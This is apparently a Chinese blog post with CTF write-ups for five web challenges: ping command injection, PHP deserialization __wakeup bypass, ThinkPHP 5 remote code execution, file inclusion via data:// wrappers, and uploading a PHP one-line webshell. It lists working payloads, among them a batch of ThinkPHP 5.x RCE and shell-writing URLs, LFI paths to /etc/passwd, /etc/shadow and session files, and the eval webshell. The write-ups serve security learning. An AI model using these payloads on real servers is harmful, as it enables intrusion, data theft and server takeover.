攻防世界web刷题记录2

command_execution

题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

前置知识

ping命令在网络故障排除、网络性能测试以及判断网络连接的稳定性等方面有着广泛的应用。通过ping命令,用户可以判断两台计算机之间的网络连接是否正常,如果计算机之间的网络连接正常,它们应该能够在规定的时间内收到和回复对方的数据包;否则,就说明网络连接存在问题。此外,ping命令还可以用于测量网络速度,以及诊断网络故障等。

ping命令的应用格式

  1. ping+IP地址或主机域名
  2. ping+IP地址或主机域名+命令参数
  3. ping+命令参数+IP地址或主机域名

在终端中使用 ping 命令的基本语法为:

  • ping <IP地址或主机名>

可以测试目标计算机的 IP 地址的网络连通性。

ping命令执行漏洞
如果 ping 命令不正确地处理其输入参数,就可能存在被攻击者利用来运行危险的命令的风险。
例如,如果在 ping 命令中使用了一个长度超过其预期的输入参数,则可能会导致该命令出现缓冲区溢出漏洞。

攻击者可以通过构造恶意输入参数来利用这种漏洞,并在受害者的计算机上执行任意代码,包括下载和安装恶意软件、破坏文件或系统配置、窃取敏感信息等。

WAF:

WAF具备限制对某些URI请求次数的能力和限制文件上传功能的能力。

| 的作用为将前一个命令的结果传递给后一个命令作为输入

&&的作用是前一条命令执行成功时,才执行后一条命令

命令执行漏洞(| || & && 称为 管道符)

输入参数截断从而让其运行危险的参数,常见的连接符格式有:

ls命令


ls 命令是一个常见的用于列出指定目录中的文件和子目录的命令,它通常用于 Unix、Linux 和 macOS 等操作系统中。该命令通常使用以下语法:

ls [OPTIONS] [FILE(S)]


其中 OPTIONS 是可选的命令参数,可以用于修改 ls 命令的行为。FILE(S) 是要列出的文件或目录的名称,也可以是通配符表达式,用于匹配符合特定模式的所有文件和目录。

以下是 ls 命令的一些常见选项:

-a:列出所有文件,包括隐藏文件。
-l:使用长格式显示文件详细信息,包括文件权限、所有者、大小、修改日期等。
-h:以人类可读的格式显示文件大小。
-t:按修改时间顺序列出文件和目录,最近修改的排在最前面。
-r:按相反顺序(即最早的先列出)列出文件和目录。


例如,要列出当前目录下的所有文件和目录,可以执行以下命令:

ls


要列出特定目录下的所有文件和目录,例如 /etc 目录,则可以执行以下命令:

ls /etc


您还可以使用不同的选项来修改 ls 命令的行为,例如:

ls -l /etc


该命令将以长格式列出 /etc 目录下的所有文件和子目录,并包括详细信息如权限、所有者、大小、修改日期等。

cat命令


cat 是一个常用的在 Linux 操作系统上查看文件内容的命令。cat 命令通常使用以下语法:

cat [OPTIONS] [FILE(S)]


其中,OPTIONS 是可选的命令参数,可以用于修改 cat 命令的行为。FILE(S) 是要查看内容的文件列表。

以下是一些常见的 cat 命令选项:

-n:显示每行行号。
-b:显示行号,但对于空白行不进行编号。
-E:在每行末尾显示 $ 符号。
-T:将制表符字符 (\t) 显示为 ^I。
-s:删除重复的空行,并将连续多个空行压缩成一个空行。


例如,要查看文件 /etc/fstab 中的内容,可以执行以下命令:

cat /etc/fstab


如果您想在行号前添加行号,可以使用 -n 选项:

cat -n /etc/fstab


该命令将显示 /etc/fstab 文件的内容,并在每行行首添加行号。

启动环境,开始做题

先ping一下本地的回环地址127.0.0.1

本地回环地址是网络通信中的特殊地址,指向本机的网络接口,因此通过发送 icmp 数据包到该地址来测试网络连通性和延迟。

在这个命令中,参数 -c 3 表示 ping 命令将会发送三个 icmp 数据包到目标主机。结果显示,三个数据包都成功发送和接收,并且没有任何数据包丢失。最后一行输出了关于这三个数据包的一些统计信息,包括平均延迟时间等。

这个结果说明本机的网络回环接口工作正常,同时也可以用来测试 ping 命令是否正常工作。

但是我们没有得到有用的信息!

ls一下目录看一下结果

Payload:127.0.0.1| ls /127.0.0.1 && ls /

给了我们很多文件夹,ping文件夹

Payload:127.0.0.1 |ls /目录名

home目录下找到flag文件:

cat一下,读取flag.txt,得到flag。

playload:127.0.0.1 | cat  /home/flag.txt

unserialize3

一道反序列化题目,我们先来了解一下什么是序列化。

前置知识

序列化:对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区,将状态信息保存为字符串。

反序列化:将序列化后的字符串还原成对象。反序列化又叫对象注入,序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化 相关的问题导致的 当传给 unserialize()的参数可控时,那么用户就可以注入 payload,进行反序列化的时 候就可能触发对象中的一些魔术方法。

序列化其实是解决一个PHP对象传递的一个问题。在php文件执行结束后会将对象销毁,但是这个对象很多时候不是只调用一次的,为了解决这个问题,便用序列化的这种方式来长久保存对象。那么反序列化也可以从中得来,既将那个存储的信息再次转换成对象的形式。

序列化返回字符串的格式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}

O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的变量个数
< field name 1>:属性名
< field value 1>:属性值

启动环境

给了我们一段php代码

class xctf{   //类
public $flag = '111';    //public定义flag变量公开可见
public function __wakeup(){   //公有魔法函数__wakeup()。
exit('bad requests');
}
?code=

serialize()和unserialize()函数对魔术方法的处理:serialize()函数会检查类中是否存在一个魔术方法__sleep() 这里想没想到就是上面讲的这个函数是在序列化之前被调用的所以在序列化之前要检验有没有这个魔法函数。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象。

unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。__wakeup()函数在类被反序列化后调用,也就是经过unserialize()函数之后就会调用这个函数。我们现在要做的就是得到一个这个类,对它进行序列化(使用serialize()函数)再绕过__wakeup()函数。

__wakeup()执行漏洞:一个字符串或对象被序列化后如果其属性被改变,则不会执行__wakeup()函数,这是一个绕过点

<?php
class xctf
{
    public $flag = '111';
 
    public function __wakeup()
    {
        exit('bad requests');
    }
}
$a = new xctf();
print(serialize($a));//serialize() 函数用于序列化对象或数组,并返回一个字符串。
?>

我们运行这个代码可以得到一个名为a的xctf对象,对这个对象进行序列化输出,得到它的值。

这边分享一个在线运行php代码的网站在线运行PHP

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

在上面的字符串中:

O:表示对象Object

4:表示对象的字符串长度为4

“xctf”:表示对象的名称

1:表示对象里面有一个变量

s:表示变量的数据类型是string型

4:表示变量的名称长度为4

“flag”:表示变量的名称

s:表示变量类型

3:表示变量长度

“111”:是变量值

知道了序列化对象中每个字符的含义,那么该怎么绕过__wakeup()函数呢?

只需要将变量数量给更改一下就行了,也就是“xctf”后面的那个‘1’改成‘2’或者其他数字。

即构建出playload:/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

就可以得到flag了

php_rce

根据题目描述,猜测和php框架的RCE漏洞有关

前置知识

rce漏洞:

  远程命令执行 英文名称:RCE (remote code execution) ,简称RCE漏洞,是指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

rce的原理:

  由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。

PHP RCE:
        PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器的控制。

下面简单介绍一种常见的远程 RCE 漏洞利用方式,即利用 PHP 中的 eval 函数实现 RCE 的方式。在该示例中,攻击者可以通过 HTTP 请求向目标服务器传递 PHP 代码,并执行该代码:

// 服务端代码
$user_input = $_GET['user_input']; // 没有对输入进行过滤
eval('$result = ' . $user_input . ';'); // 远程代码执行

// 攻击者构造恶意代码
http://example.com/index.php?user_input=system('ls%20-la');
//远程执行 "ls -la" 命令。

由于服务器代码没有对 user_input 的内容进行过滤和验证,攻击者可以通过 user_input 参数发送任意 PHP 代码,并将其作为一个字符串传递给 eval 函数进行执行,成功实现ls -la命令。
在 Unix/Linux 系统中,ls -la 命令可以列出当前目录下的所有文件和子目录,并显示它们的详细信息,包括权限、创建时间、大小等等。

4.漏洞的利用

1.利用system函数远程命令执行

url/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

2.通过phpinfo函数写出phpinfo()的信息

url/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3.写入shell

url/index.php?s=index/think\app/invokefunction&function=call_user_func_array

开始启动环境

随便加了一些东西,报错

 介绍一下ThinkPHPV5漏洞Payload

thinkphp 5

http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

thinkphp 5.0.20

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

thinkphp 5.0.21

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.0.22

1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.1.

1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

根据报错提示使用5.0.20版本Payload

URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

说明命令执行成功,接着抓取flag即可,Payload

URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

由上图可知,flag字段储存在flag文件夹下的flag文件中,使用cat命令读取flag,Payload

URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

得到flag。总结:该题结合部分Linux命令考察ThinkPHP V5漏洞

Web_php_include

考点:文件包含漏洞,伪协议

前置知识

PHP_include
php_include 是 PHP 语言中一个重要的文件包含机制,可以将一个 PHP 文件包含到另一个 PHP 脚本文件中。该机制通常用于代码复用和模块化开发,在不同的 PHP 文件之间实现函数和类等代码的共享。

在 PHP 中,有两种文件包含机制:include 和 require。它们都可以将指定的 PHP 文件包含到当前脚本中,但两者在出错处理和返回值方面稍有不同。具体来说:

include:如果包含文件不存在或者出现错误,PHP 会发出警告并继续执行脚本。
require:如果包含文件不存在或者出现错误,PHP 会立即停止脚本执行,并抛出致命错误。
此外,还有两个特殊的文件包含机制:include_once 和 require_once。它们可以确保包含文件只被包含一次,避免重复包含和执行。

PHP伪协议
PHP 伪协议是一种特殊的 URI 协议,可以绕过通常的协议限制,直接访问本地文件和执行 PHP 代码。

Payload

读取 /etc/passwd 文件,显示系统用户列表
http://example.com/index.php?page=/etc/passwd
读取 /etc/shadow 文件,尝试破解系统用户密码
http://example.com/index.php?page=/etc/shadow
读取当前目录下的敏感文件
http://example.com/index.php?page=../../../etc/passwd
读取 MySQL 配置文件,获取数据库连接信息
http://example.com/index.php?page=/var/www/config.php
读取 PHP Session 文件,窃取用户会话信息
http://example.com/index.php?page=/var/lib/php/sessions/sess_SESSION_ID
利用 expect 协议执行任意命令
http://example.com/index.php?page=expect://id
利用 data 协议读取 base64 编码的文件内容
http://example.com/index.php?page=data:text/plain;base64,PD9waHAgc2V0X3RpbWUoJ2hvc3QnKTsgPz4=


data伪协议
data 伪协议是一种用于内嵌数据的伪协议,它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中,从而减少 HTTP 请求的数量,并提高页面加载速度。

data URI 的语法如下:

data:[<mediatype>][;base64],<data>
其中,mediatype 是媒体类型,例如 text/plain、image/jpeg、audio/mpeg 等;如果数据需要进行 base64 编码,则在 media type 后添加 ;base64 标记;data 是实际的数据内容。

Payload:

Cookie外带

?page=data://text/plain,<script>alert(document.cookie)</script>


ping本地回环地址

?page=data://text/plain,<?php system("ping 127.0.0.1");?>


Base64编码绕过

?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=

查看PHP info

?page=data://text/plain,<?php echo phpinfo();?>
模板

?page=data://text/plain,恶意代码


file伪协议
file 伪协议用于访问本地文件系统中的文件,可以在 web 页面中链接到本地文件,或者读取本地文件中的数据。

file URI 的语法如下:

file://<host>/<path>
其中,host 表示主机名或 IP 地址(可省略),path 表示文件路径(必须以 / 开头)。

Payload

1.file:///C:/Users/Desktop/index.html
2.file:///C:/Users/hacker/attack.php?parameter=<script>alert('恶意脚本')</script>

启动环境

源码如下

 <?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

代码使用 $_GET['page'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串。由于没有对 $page 变量进行足够的过滤,因此可使用文件包含读取flag。

payload如下

?page=data://text/plain,<?php echo phpinfo();?>

显示了phpinfo.php。因此data伪协议可行。

接着构造payload

?page=data://text/plain,<?php system("ls")?>

出现了当前目录下文件,猜测其中的fl4gisisish3r3.php为我们想要的flag。

接着构造payload

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

 查看源码,得到了flag。

upload1

考察知识:文件上传

启动环境

 先随便上传一个文件

提示使用一张图片上传

这种题目思路一般都是一句话木马,因为写一句话木马的文件是php,先改后缀成为jpg,上传后需要burpsuite修改包后缀名为php,最后用场景网站文件位置利用中国蚁剑连接。

一句话木马如下:

<?php
@eval($_POST['wz']);
?>

开启代理FoxyProxy,连接到burpsuite

点击上传,成功抓到

注意修改后缀

Forward一下,成功上传

开启蚁剑进行连接

之后在这个目录下找到flag

  • 25
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

继续学吧

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值